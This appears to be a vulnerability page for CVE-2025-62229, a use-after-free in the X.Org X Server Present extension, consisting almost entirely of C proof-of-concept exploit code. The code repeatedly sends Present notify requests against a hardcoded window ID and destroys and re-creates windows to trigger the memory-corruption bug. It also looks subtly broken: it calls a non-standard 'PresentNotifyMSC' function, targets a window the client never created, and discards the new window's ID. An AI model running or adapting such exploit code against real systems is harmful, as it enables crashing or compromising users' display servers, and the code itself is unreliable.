CVE-2025-62229: X.Org X Server和Xwayland X11 Present扩展Use-After-Free漏洞

// PoC for CVE-2025-62229: X.Org X Server Present Extension Use-After-Free // Compile: gcc -o poc_cve202562229 poc_cve202562229.c -lX11 #include <stdio.h> #include <stdlib.h> #include <string.h> #include <X11/Xlib.h> #include <X11/extensions/Xpresent.h> #define TARGET_WINDOW 0x12345678 // Target window ID void trigger_uaf(Display *dpy) { int event_base, error_base; // Check if Present extension is available if (!XPresentQueryExtension(dpy, &event_base, &error_base)) { printf("[-] Present extension not available\n"); return; } printf("[+] Present extension available\n"); // Trigger the UAF condition through rapid notification creation for (int i = 0; i < 100; i++) { // Create PresentNotifyMSC request CARD32 options = 0; CARD64 target_msc = 0; CARD64 divisor = 0; CARD64 remainder = 0; // Rapid fire requests to trigger race condition PresentNotifyMSC(dpy, TARGET_WINDOW, options, target_msc, divisor, remainder); // Immediately destroy window to create dangling pointer XDestroyWindow(dpy, TARGET_WINDOW); XFlush(dpy); // Re-create window XCreateWindow(dpy, DefaultRootWindow(dpy), 0, 0, 800, 600, 0, CopyFromParent, InputOutput, CopyFromParent, 0, NULL); } printf("[+] UAF condition triggered\n"); } int main(int argc, char *argv[]) { Display *dpy = XOpenDisplay(NULL); if (!dpy) { fprintf(stderr, "[-] Cannot open display\n"); return 1; } printf("[+] Connecting to X server: %s\n", XDisplayName(NULL)); trigger_uaf(dpy); XCloseDisplay(dpy); return 0; }